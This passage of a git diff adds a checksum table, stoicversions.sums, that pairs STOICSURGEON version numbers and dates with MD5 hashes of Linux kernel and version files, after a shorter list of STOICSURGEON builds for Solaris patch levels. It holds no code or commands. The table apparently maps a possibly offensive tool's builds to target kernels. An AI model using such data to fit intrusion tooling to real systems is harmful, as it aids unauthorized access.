+1.5.10.1 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Sep 2 2009 +1.5.11.2 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Sep 23 2009 +1.5.11.2 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Sep 23 2009 +1.5.31.13 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Jul 28 2010 +1.5.31.13 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Jul 28 2010 +1.5.31.14 127721-03 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Fri Sep 17 2010 +1.5.31.14 127721-03 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Fri Sep 17 2010 +1.7.0.3 127721-03 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Apr 27 2011 +1.7.0.3 127721-03 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Apr 27 2011 +1.7.60.7 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Mon Jun 17 2013 +1.7.60.7 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Mon Jun 17 2013 +1.7.45.4 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Fri Jan 4 2013 +1.7.45.4 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Fri Jan 4 2013 +1.8.0.6 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Mon Jul 15 2013 +1.8.0.6 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Mon Jul 15 2013 +1.5.19.2 141445-09 STOICSURGEON-I386-PC-SOLARIS2.10 Tue Feb 23 2010 +1.5.19.2 141445-09 STOICSURGEON-I386-PC-SOLARIS2.10 Tue Feb 23 2010 +1.5.31.11 142901-13 STOICSURGEON-I386-PC-SOLARIS2.10 Thu Jul 22 2010 +1.5.31.11 142901-13 STOICSURGEON-I386-PC-SOLARIS2.10 Thu Jul 22 2010 +1.5.24.1 106541-44 STOICSURGEON-SPARC-SUN-SOLARIS2.7 Fri May 14 2010 +1.5.24.1 106541-44 STOICSURGEON-SPARC-SUN-SOLARIS2.7 Fri May 14 2010 +1.7.45.3 106541-44 STOICSURGEON-SPARC-SUN-SOLARIS2.7 Fri Jan 4 2013 +1.7.45.3 106541-44 STOICSURGEON-SPARC-SUN-SOLARIS2.7 Fri Jan 4 2013 +1.7.30.3 127722-06 STOICSURGEON-X86-SOLARIS-2.8 Wed Jun 20 2012 +1.7.60.8 127722-06 STOICSURGEON-X86-SOLARIS-2.8 Mon Jun 17 2013 +1.7.45.6 127722-06 STOICSURGEON-X86-SOLARIS-2.8 Fri Jan 4 2013 +1.8.0.5 127722-06 STOICSURGEON-X86-SOLARIS-2.8 Mon Jul 15 2013 +1.7.30.4 122301-61 STOICSURGEON-X86-SOLARIS-2.9 Wed Jun 27 2012 +1.7.45.7 122301-64 STOICSURGEON-X86-SOLARIS-2.9 Fri Jan 4 2013 +1.7.36.8 122301-64 STOICSURGEON-X86-SOLARIS-2.9 Thu Oct 4 2012 +1.7.60.6 122301-64 STOICSURGEON-X86-SOLARIS-2.9 Fri Jun 14 2013 +1.8.0.4 122301-64 STOICSURGEON-X86-SOLARIS-2.9 Mon Jul 15 2013 +1.8.0.2 148889-03 STOICSURGEON-X86-SOLARIS-2.10 Mon Jul 15 2013 +1.8.0.2 148889-03 STOICSURGEON-X86-SOLARIS-2.10 Mon Jul 15 2013 +1.7.24.1 147441-07 STOICSURGEON-X86-SOLARIS-2.10 Tue Mar 27 2012 +1.7.24.1 147441-07 STOICSURGEON-X86-SOLARIS-2.10 Tue Mar 27 2012 +1.7.30.1 147441-12 STOICSURGEON-X86-SOLARIS-2.10 Wed May 23 2012 +1.7.30.1 147441-12 STOICSURGEON-X86-SOLARIS-2.10 Wed May 23 2012 +1.7.36.9 147441-24 STOICSURGEON-X86-SOLARIS-2.10 Thu Oct 4 2012 +1.7.36.9 147441-24 STOICSURGEON-X86-SOLARIS-2.10 Thu Oct 4 2012 +1.7.45.2 147441-27 STOICSURGEON-X86-SOLARIS-2.10 Thu Jan 3 2013 +1.7.45.2 147441-27 STOICSURGEON-X86-SOLARIS-2.10 Thu Jan 3 2013 +1.8.0.8 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS-2.9 Tue Jul 16 2013 +1.8.0.8 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS-2.9 Tue Jul 16 2013 diff --git a/Linux/up/stoicversions.sums b/Linux/up/stoicversions.sums new file mode 100644 index 0000000..4437ad1 --- /dev/null +++ b/Linux/up/stoicversions.sums @@ -0,0 +1,7843 @@ +1.1.36.1 0090c728291cdce6eaa33306060565a8 vmlinuz STOICSURGEON-Linux Thu Jun 14 2007 +1.1.36.1 7eed72e8bedc79caacce73178e4a7071 vmlinuz STOICSURGEON-Linux Thu Jun 14 2007 +1.1.36.1 2698e3dbcc3567bb3599d5a4e09e324e vmlinuz STOICSURGEON-Linux Thu Jun 14 2007 +1.1.3.1 f11b86d5a868fe7db20f9c7563f7ca7a vmlinuz STOICSURGEON-Linux Fri Oct 20 2006 +1.1.3.1 3219c5e368d81f1bf72bdf61971831e2 version STOICSURGEON-Linux Fri Oct 20 2006 +1.1.3.1 77a58bf8625cd599c3d8ce670a45d7dd vmlinuz STOICSURGEON-Linux Fri Oct 20 2006 +1.1.3.1 3219c5e368d81f1bf72bdf61971831e2 version STOICSURGEON-Linux Fri Oct 20 2006 +1.1.4.1 a316fb46b3ffea08bc3ca9bfe4ecb935 vmlinuz STOICSURGEON-Linux Thu Oct 26 2006 +1.1.4.1 77b3e909386f87d8e8cbdafef6bd64dd version STOICSURGEON-Linux Thu Oct 26 2006 +1.1.4.1 a71e7abce43fb3a62066007d7ad2c0e6 vmlinuz STOICSURGEON-Linux Thu Oct 26 2006 +1.1.4.1 9b68fcbe08fbc6ca73322d47753b28ee version STOICSURGEON-Linux Thu Oct 26 2006 +1.1.4.1 89c032888e32fb09365873c6cc719c63 vmlinuz STOICSURGEON-Linux Thu Oct 26 2006 +1.1.4.1 a0958eb4a144bcb270ea155a308d4218 version STOICSURGEON-Linux Thu Oct 26 2006 +1.1.17.1 dbf38cc6cdfa89d86e8f2b2fe2b56c60 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 0d2257ce30597def02b52275aa639f6c vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 f343e367022cfa037572521be1d6ccc8 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 9963b2d819e62b6a3439616e296da6c4 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 045f23dadd34e2c6f2cbe0bdc66d8b0c vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 c765c747a638a56621b5f866dfb68a93 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 a7e709357edc2aa184342d24d8a1b670 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 42f00f151ae7c0483b0dabd7529dbe01 vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 94abd10971a676275f91169a335b4a2b vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 5c8b4a7e0d0e7f70b1ad856d64ac9bcf vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 7c842f481bb9577ec3f54c2906e7544f vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.17.1 a2081b1018219e10c9bdb99f43d229da vmlinuz STOICSURGEON-Linux Thu Jan 4 2007 +1.1.18.1 2989a14d199c8ed940bbc1d33e7cb335 vmlinuz STOICSURGEON-Linux Tue Jan 16 2007 +1.1.18.1 3acb2a1e7ba7c78910b70f4d82a866b1 vmlinuz STOICSURGEON-Linux Tue Jan 16 2007 +1.1.18.1 32541b73e7b196fb2d5682e57c4a60d8 vmlinuz STOICSURGEON-Linux Tue Jan 16 2007 +1.1.18.1 8719a8fb16077fafad29d14c6e6121b1 vmlinuz STOICSURGEON-Linux Tue Jan 16 2007 +1.1.19.2 bf800fdb4b925c82670abc5ef292bac7 vmlinuz STOICSURGEON-Linux Wed Jan 24 2007 +1.1.19.2 502f7d62cb8f5ca4f066a8c67514013c vmlinuz STOICSURGEON-Linux Wed Jan 24 2007 +1.1.19.1 0f43eccea8f09e0a0b2b5cf1dcf333ba vmlinuz STOICSURGEON-Linux Fri Jan 19 2007 +1.1.19.1 d159a158ffad3d25893a950ec6c513d3 vmlinuz STOICSURGEON-Linux Fri Jan 19 2007 +1.1.19.1 f92be9cfc82d4b9c22c51d66cb76783f vmlinuz STOICSURGEON-Linux Fri Jan 19 2007 +1.1.19.1 0c5a837a4eece6762a00ea90a1a06544 vmlinuz STOICSURGEON-Linux Fri Jan 19 2007 +1.1.19.1 44a2f41d318743d0726c793028cbd5a0 vmlinuz STOICSURGEON-Linux Fri Jan 19 2007 +1.1.23.3 a316fb46b3ffea08bc3ca9bfe4ecb935 vmlinuz STOICSURGEON-Linux Mon Feb 12 2007 +1.1.23.3 a71e7abce43fb3a62066007d7ad2c0e6 vmlinuz STOICSURGEON-Linux Mon Feb 12 2007 +1.1.23.3 89c032888e32fb09365873c6cc719c63 vmlinuz STOICSURGEON-Linux Mon Feb 12 2007 +1.1.23.7 a444b483331456605d8af81163be7884 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 a8d56a538108cec0775b8633c208a854 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 8ecd8ccb2a8b10bc617cce457042a8f0 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 2f9b082fcfa7a3d001eccf3cc2b853af vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 cf3e1170af28a657da9ec8292e61d612 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 e19b44775835604bcbef1dc158b0546e vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 1c340ea311fab45454d21269adc92249 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 0093dff46cb93c72cbeae84b5889cf54 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 51e9d57d2e6aaea0cfd1b9a53f831d20 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.7 ab0910963551d0312ce3a39dca73f534 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.6 8d78dd37162e9cd7293a188e64d223d6 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.6 7e90f657aaa0f4256923b43e900d2351 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.6 784a13fa89652940c2fc32dc3bc01f76 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.23.6 b209d5f8a0e5f1f5e86a5509241ff2b7 vmlinuz STOICSURGEON-Linux Thu Mar 1 2007 +1.1.26.4 8895d98a4a1d9d923f34c5da0c578e43 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 93af1862ce24381f78c7fa2a6f90fc74 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 45f1b4218f44046f58f4b54f6501a2d7 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 e9bb4ae10660e2751bf96dc986f40119 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 fcbebdc8a6ca001448bd7687f22c5111 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 b62ec9bba357a6a5986c78a9f6a31f23 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 626322817d899f9bfba6ae7e49ef58c2 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 74e4b0ae5ea0e85c9fd5a91e67f0cfa0 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 f78e5fa8ef24de5b8e4d0343a78e8cd7 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 8b02d93b1091d1cb04429b7a077cdb11 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 0698efe911ffe1d74fa57ec48d45ce8d vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 b717a0189359b3482f37557e15aab9f9 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 cb4a16f8886ab63d99b607927fe1a4f0 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 a43b550b42543abef1321e09171e6025 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 27ff8d08a3736283c8408230b71da503 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 b442153afeb5c1c874a9dba1bef1f402 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 6fdfa726eb64a01a91256bdc4b5721b5 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 9de28a1dba3008411708a42f2e02f78c vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 9cbb21574407fd163b9007afc87ef2f4 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 fe0f3b2f3ac7d8b9b815a146586d0509 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 a8dcd6875a37bfa36193736a908df35e vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 ec79cb105f104df920a90b7f63ccbc4d vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 d9683144c2547e4c459fe5390ed7ba72 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 349cfe092a7c9bae567bdf795ea072a1 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 cf878cb81aa67850a51c2cb2605955cb vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.4 2d9bebccfd393eae61e5d65c070c09db vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.27.1 f8943790b633cb52cfe6071bcf312269 vmlinuz STOICSURGEON-Linux Mon Mar 19 2007 +1.1.27.1 f34f4354087048e3dd87ae45705ec67b vmlinuz STOICSURGEON-Linux Mon Mar 19 2007 +1.1.27.1 f11b86d5a868fe7db20f9c7563f7ca7a vmlinuz STOICSURGEON-Linux Mon Mar 19 2007 +1.1.27.5 a070e42a4174facb703157eba052f784 vmlinuz STOICSURGEON-Linux Thu Mar 22 2007 +1.1.27.5 8822ffd826016ee0611cdfb1c4fa4f7b vmlinuz STOICSURGEON-Linux Thu Mar 22 2007 +1.1.26.3 808cc200a60485c40bd1d00a861a8b9c vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.3 2698e3dbcc3567bb3599d5a4e09e324e vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.3 9c7cb60caeb0fa2690e0c99edbccc3c9 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.3 f9b8c1c49b378d1f9ebbdea31df62430 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.3 e29d66b19cbc5e0458cd97103a103d61 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.3 cede9006247643b5947db58a4aba000f vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.27.7 a444b483331456605d8af81163be7884 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 a8d56a538108cec0775b8633c208a854 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 8ecd8ccb2a8b10bc617cce457042a8f0 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 2f9b082fcfa7a3d001eccf3cc2b853af vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 cf3e1170af28a657da9ec8292e61d612 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 e19b44775835604bcbef1dc158b0546e vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 1c340ea311fab45454d21269adc92249 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 0093dff46cb93c72cbeae84b5889cf54 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 51e9d57d2e6aaea0cfd1b9a53f831d20 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.27.7 ab0910963551d0312ce3a39dca73f534 vmlinuz STOICSURGEON-Linux Mon Apr 2 2007 +1.1.32.1 0cb827a550accb19c4eee43976f61763 vmlinuz STOICSURGEON-Linux Wed Apr 18 2007 +1.1.32.1 8822ffd826016ee0611cdfb1c4fa4f7b vmlinuz STOICSURGEON-Linux Wed Apr 18 2007 +1.1.32.1 a307e599c78a19455cc7881791ec543f vmlinuz STOICSURGEON-Linux Wed Apr 18 2007 +1.1.32.1 13a24c89c6a88a4228dd8506956499c1 vmlinuz STOICSURGEON-Linux Wed Apr 18 2007 +1.1.32.1 561ca6c870567875e5522d3275e59977 vmlinuz STOICSURGEON-Linux Wed Apr 18 2007 +1.1.34.1 29431c5d0e0f9188642212a381d7d841 vmlinuz STOICSURGEON-Linux Tue May 15 2007 +1.1.34.1 b6be72a33a44e97b34522ac43fed0444 vmlinuz STOICSURGEON-Linux Tue May 15 2007 +1.1.34.1 48b87c6237604f1017509daf41a99dd9 vmlinuz STOICSURGEON-Linux Tue May 15 2007 +1.1.34.1 eaca26019776b6a3a567fac4cff47bb9 vmlinuz STOICSURGEON-Linux Tue May 15 2007 +1.1.26.2 abf06c0fa575aead428109bf6d84adaa vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 0626096d204aa86598e110a1b654685c vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 22d59e82a0e991cc00f3fb28305a2623 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 3cffd59b38b95964d8e713eb0710d09a vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 87deb4e43dad8f91c38cf58d65b03248 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 d38b8a3eab3f1e436bf3caa9ca7a9acc vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 468612a092cd2f96df117d1128b56411 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 c4c0628e06b8bd22df7a721dd392844e vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 fffa5513d1b27586834a7035688ea654 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 304ca210d78ce6204a21ec16be54ea81 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 eaca26019776b6a3a567fac4cff47bb9 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.26.2 bc533caddaedd00f635b9724aa56add2 vmlinuz STOICSURGEON-Linux Fri Mar 9 2007 +1.1.39.1 4d22029bdf949bea77f54e6c87b92bd7 vmlinuz STOICSURGEON-Linux Mon Jun 25 2007 +1.1.39.1 33211a880e5cfd30eb9a2c0f56f8628d vmlinuz STOICSURGEON-Linux Mon Jun 25 2007 +1.2.4.1 4d22029bdf949bea77f54e6c87b92bd7 vmlinuz STOICSURGEON-Linux Thu Jul 5 2007 +1.2.4.1 33211a880e5cfd30eb9a2c0f56f8628d vmlinuz STOICSURGEON-Linux Thu Jul 5 2007 +1.2.1.1 559f4dff4a8958a982686970c821ad77 vmlinuz STOICSURGEON-Linux Thu Jun 28 2007 +1.2.1.1 f116701d955dc792740dc2d35cf7dfff vmlinuz STOICSURGEON-Linux Thu Jun 28 2007 +1.2.1.1 fb6bfbb95612f4f983cf98f3f77616c8 vmlinuz STOICSURGEON-Linux Thu Jun 28 2007 +1.2.4.3 5f90b4e2650a7584ce3ebbd4c2ee581d vmlinuz STOICSURGEON-Linux Mon Jul 9 2007 +1.2.4.3 76e8d7f146f2fef4788eb43a5616df28 vmlinuz STOICSURGEON-Linux Mon Jul 9 2007 +1.2.4.3 469c1526f883660f8890830a21c5fb16 vmlinuz STOICSURGEON-Linux Mon Jul 9 2007 +1.2.4.3 469c1526f883660f8890830a21c5fb16 vmlinuz STOICSURGEON-Linux Mon Jul 9 2007 +1.2.4.2 808cc200a60485c40bd1d00a861a8b9c vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 2698e3dbcc3567bb3599d5a4e09e324e vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 138ef86c302dbc59ff495c995872478d vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 61daead92d37f88fbb7ec0234a9bbde2 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 9c7cb60caeb0fa2690e0c99edbccc3c9 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 f9b8c1c49b378d1f9ebbdea31df62430 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 e29d66b19cbc5e0458cd97103a103d61 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 cede9006247643b5947db58a4aba000f vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 f6ddf38744f8236a9ad965da26efbd81 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 948e4989aa9a1127ba70df6f4235b272 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 25f95efede8174f0d6a15e6c515c8288 vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.2 cfe21448f3ae494963ae8ad2c0f1dc0b vmlinuz STOICSURGEON-Linux Fri Jul 6 2007 +1.2.4.4 e26903d080e0d1df53862bb3beda7765 vmlinuz STOICSURGEON-Linux Thu Jul 19 2007 +1.2.4.4 e63277b747fa2a88c8d7f709e0b62dad vmlinuz STOICSURGEON-Linux Thu Jul 19 2007 +1.2.4.4 85949a138e6cef44de34aaf22e1ecfc3 vmlinuz STOICSURGEON-Linux Thu Jul 19 2007 +1.2.4.5 dbf38cc6cdfa89d86e8f2b2fe2b56c60 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 0d2257ce30597def02b52275aa639f6c vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 f343e367022cfa037572521be1d6ccc8 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 9963b2d819e62b6a3439616e296da6c4 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 6f3bbac9e8d9c237cabf8830cc38ca26 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 c765c747a638a56621b5f866dfb68a93 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 a7e709357edc2aa184342d24d8a1b670 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 42f00f151ae7c0483b0dabd7529dbe01 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 94abd10971a676275f91169a335b4a2b vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 5c8b4a7e0d0e7f70b1ad856d64ac9bcf vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 7c842f481bb9577ec3f54c2906e7544f vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 a2081b1018219e10c9bdb99f43d229da vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 ddf0aac5f5ec383dedc4ef83c599ac91 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 8c982b6ae60c12a6029b5c21376c799c vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 076d442009214e62f10146f8dc96c8cb vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 a7a6a1d88660615f357fef276140ddd7 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 b19d6c868422958a295108c464b6b40f vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 df50993ce0c28da8b58ea891102076fa vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 72abf3d8ae553a509ce40c2309aa9127 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 94840ee9c325e8d1bee60f2ddae979bf vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 cb1bb0741c3aedd3abe2c77a640fee0b vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 0e41364cf08de2b9a189bbe13c319bd0 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 ab175ddc446fee4ec09e8310217c71f8 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 54aa0371c6eb8b644173f8fad15cd570 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 1fed33ba3f2d53affc2404771850c742 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 c4238d0c25a67d60281162e9e80ab0cc vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 4e39a403d0a7451b6c39f268fa5550f7 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 080f036d42b41bfdc49cb862625990dc vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 bb8dade743722c2ef3c8a811c145fdac vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.4.5 41ac3e4ab38271b3f4b3098d0bdeb340 vmlinuz STOICSURGEON-Linux Tue Jul 24 2007 +1.2.9.2 18b0a110e5a9b435e3671d713b94eaff version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 9dfd2271413c2c3ef911cb72686bd74d version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 9143fc12b9dc08f8a59ec50054c09702 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 8b0f8350011ea61d0a76dd233b055a64 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 f6545188093a87291f0c5fa1652a0d3b version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 0e96d8135b91f9e246cd72eaa417c463 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 c84f26a8f735d8d0f638b28c42c33e1e version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 b46ab79933d067d04ab2718bb8340bc5 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 51e9369aebefe8e9188294512b7167b2 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 6a9f4ee61ecd5823a8e2bbc138e1c1bf version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 b1c256ba0b17aa01db9d872b4105147f version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 eed7797714f70607347708534710ee10 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 f825a419528730c636dafbdeadcfde1a version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 953a7c49a882fd8ff4580c20356f630c version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 2f4727c60d6eb313f2fb406f5f568427 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 2e05996c74d1b5029f3f18cb6859c578 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 04cb3b2d745626aaef0de2244372f247 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 32c2b732e3418d86b1e2e74d972b4c4d version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 3065386addfae8b0d54edab9faa52d49 version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 6f93df6e220c93bcaa00a4f21298692c version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 694a0df9161e0ca13ec7e75a9ad702cd version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.9.1 5dbcddeca8169610b648433b2eeb69ed version STOICSURGEON-Linux Wed Aug 22 2007 +1.2.6.2 dbf38cc6cdfa89d86e8f2b2fe2b56c60 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 0d2257ce30597def02b52275aa639f6c vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 f343e367022cfa037572521be1d6ccc8 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 9963b2d819e62b6a3439616e296da6c4 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 6f3bbac9e8d9c237cabf8830cc38ca26 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 c765c747a638a56621b5f866dfb68a93 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 a7e709357edc2aa184342d24d8a1b670 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 42f00f151ae7c0483b0dabd7529dbe01 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 94abd10971a676275f91169a335b4a2b vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 5c8b4a7e0d0e7f70b1ad856d64ac9bcf vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 7c842f481bb9577ec3f54c2906e7544f vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 